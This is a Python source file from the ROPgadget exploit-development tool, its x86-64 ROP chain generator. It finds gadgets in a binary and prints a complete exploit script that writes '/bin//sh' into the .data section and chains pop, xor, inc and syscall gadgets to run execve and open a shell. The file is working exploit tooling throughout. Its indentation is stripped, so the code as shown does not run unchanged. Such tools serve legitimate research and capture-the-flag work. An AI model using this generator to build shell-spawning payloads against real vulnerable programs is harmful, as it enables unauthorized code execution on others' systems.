security-cw/ROPgadget/ropgadget/ropchain/arch/ropmakerx64.py

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#!/usr/bin/env python2
## -*- coding: utf-8 -*-
##
## Jonathan Salwan - 2014-05-13
## Florian Meier - 2014-08-31 - The 64b ROP chain generation
##
## http://shell-storm.org
## http://twitter.com/JonathanSalwan
##
import re
from capstone import *
class ROPMakerX64(object):
def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
self.__binary = binary
self.__gadgets = gadgets
self.paddingLen = paddingLen
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# If it's a library, we have the option to add an offset to the addresses
self.__liboffset = liboffset
self.__generate()
def __lookingForWrite4Where(self, gadgetsAlreadyTested):
for gadget in self.__gadgets:
if gadget in gadgetsAlreadyTested:
continue
f = gadget["gadget"].split(" ; ")[0]
regex = re.search("mov .* ptr \[(?P<dst>([(rax)|(rbx)|(rcx)|(rdx)|(rsi)|(rdi)|(r9)|(r10)|(r11)|(r12)|(r13)|(r14)|(r15)]{3}))\], (?P<src>([(rax)|(rbx)|(rcx)|(rdx)|(rsi)|(rdi)|(r9)|(r10)|(r11)|(r12)|(r13)|(r14)|(r15)]{3}))$", f)
if regex:
lg = gadget["gadget"].split(" ; ")[1:]
try:
for g in lg:
if g.split()[0] != "pop" and g.split()[0] != "ret":
raise
# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
if g != "ret":
if g.split()[0] == "ret" and g.split()[1] != "":
raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
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return [gadget, regex.group("dst"), regex.group("src")]
except:
continue
return None
def __lookingForSomeThing(self, something):
for gadget in self.__gadgets:
lg = gadget["gadget"].split(" ; ")
if lg[0] == something:
try:
for g in lg[1:]:
if g.split()[0] != "pop" and g.split()[0] != "ret":
raise
if g != "ret":
# we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
if g.split()[0] == "ret" and g.split()[1] != "":
raise
print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
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return gadget
except:
continue
return None
def __padding(self, gadget, regAlreadSetted):
lg = gadget["gadget"].split(" ; ")
for g in lg[1:]:
if g.split()[0] == "pop":
reg = g.split()[1]
try:
print("p += pack('<Q', 0x%016x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
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except KeyError:
print("p += pack('<Q', 0x4141414141414141) # padding")
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def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorRax, incRax, popRdi, popRsi, popRdx, syscall):
sects = self.__binary.getDataSections()
dataAddr = None
for s in sects:
if s["name"] == ".data":
dataAddr = s["vaddr"] + self.__liboffset
if dataAddr is None:
print("# [-] Error - Can't find a writable section")
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return
print("#!/usr/bin/env python3")
print("# execve generated by ROPgadget\n")
print("# from struct import pack\n")
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print("# Padding goes here")
print("p = b'" + ('A' * self.paddingLen) + "'\n")
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print("p += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
print("p += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
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self.__padding(popDst, {})
print("p += pack('<Q', 0x%016x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
print("p += b'/bin//sh'")
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self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
print("p += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
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self.__padding(write4where, {})
print("p += pack('<Q', 0x%016x) # %s" %(popDst["vaddr"], popDst["gadget"]))
print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
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self.__padding(popDst, {})
print("p += pack('<Q', 0x%016x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
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self.__padding(xorSrc, {})
print("p += pack('<Q', 0x%016x) # %s" %(write4where["vaddr"], write4where["gadget"]))
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self.__padding(write4where, {})
print("p += pack('<Q', 0x%016x) # %s" %(popRdi["vaddr"], popRdi["gadget"]))
print("p += pack('<Q', 0x%016x) # @ .data" %(dataAddr))
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self.__padding(popRdi, {})
print("p += pack('<Q', 0x%016x) # %s" %(popRsi["vaddr"], popRsi["gadget"]))
print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
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self.__padding(popRsi, {"rdi": dataAddr}) # Don't overwrite rdi
print("p += pack('<Q', 0x%016x) # %s" %(popRdx["vaddr"], popRdx["gadget"]))
print("p += pack('<Q', 0x%016x) # @ .data + 8" %(dataAddr + 8))
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self.__padding(popRdx, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
print("p += pack('<Q', 0x%016x) # %s" %(xorRax["vaddr"], xorRax["gadget"]))
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self.__padding(xorRax, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
for i in range(59):
print("p += pack('<Q', 0x%016x) # %s" %(incRax["vaddr"], incRax["gadget"]))
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self.__padding(incRax, {"rdi": dataAddr, "rsi": dataAddr + 8}) # Don't overwrite rdi and rsi
print("p += pack('<Q', 0x%016x) # %s" %(syscall["vaddr"], syscall["gadget"]))
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def __generate(self):
# To find the smaller gadget
self.__gadgets.reverse()
print("\n# ROP chain generation\n#===========================================================")
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print("\n# - Step 1 -- Write-what-where gadgets\n")
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gadgetsAlreadyTested = []
while True:
write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
if not write4where:
print("# [-] Can't find the 'mov qword ptr [r64], r64' gadget")
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return
popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
if not popDst:
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
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gadgetsAlreadyTested += [write4where[0]]
continue
popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
if not popSrc:
print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
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gadgetsAlreadyTested += [write4where[0]]
continue
xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
if not xorSrc:
print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2], write4where[2]))
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gadgetsAlreadyTested += [write4where[0]]
continue
else:
break
print("\n# - Step 2 -- Init syscall number gadgets\n")
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xorRax = self.__lookingForSomeThing("xor rax, rax")
if not xorRax:
print("# [-] Can't find the 'xor rax, rax' instruction")
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return
incRax = self.__lookingForSomeThing("inc rax")
incEax = self.__lookingForSomeThing("inc eax")
incAx = self.__lookingForSomeThing("inc al")
addRax = self.__lookingForSomeThing("add rax, 1")
addEax = self.__lookingForSomeThing("add eax, 1")
addAx = self.__lookingForSomeThing("add al, 1")
instr = [incRax, incEax, incAx, addRax, addEax, addAx]
if all(v is None for v in instr):
print("# [-] Can't find the 'inc rax' or 'add rax, 1' instruction")
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return
for i in instr:
if i is not None:
incRax = i
break
print("\n# - Step 3 -- Init syscall arguments gadgets\n")
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popRdi = self.__lookingForSomeThing("pop rdi")
if not popRdi:
print("# [-] Can't find the 'pop rdi' instruction")
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return
popRsi = self.__lookingForSomeThing("pop rsi")
if not popRsi:
print("# [-] Can't find the 'pop rsi' instruction")
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return
popRdx = self.__lookingForSomeThing("pop rdx")
if not popRdx:
print("# [-] Can't find the 'pop rdx' instruction")
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return
print("\n# - Step 4 -- Syscall gadget\n")
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syscall = self.__lookingForSomeThing("syscall")
if not syscall:
print("# [-] Can't find the 'syscall' instruction")
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return
print("# - Step 5 -- Build the ROP chain\n")
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self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorRax, incRax, popRdi, popRsi, popRdx, syscall)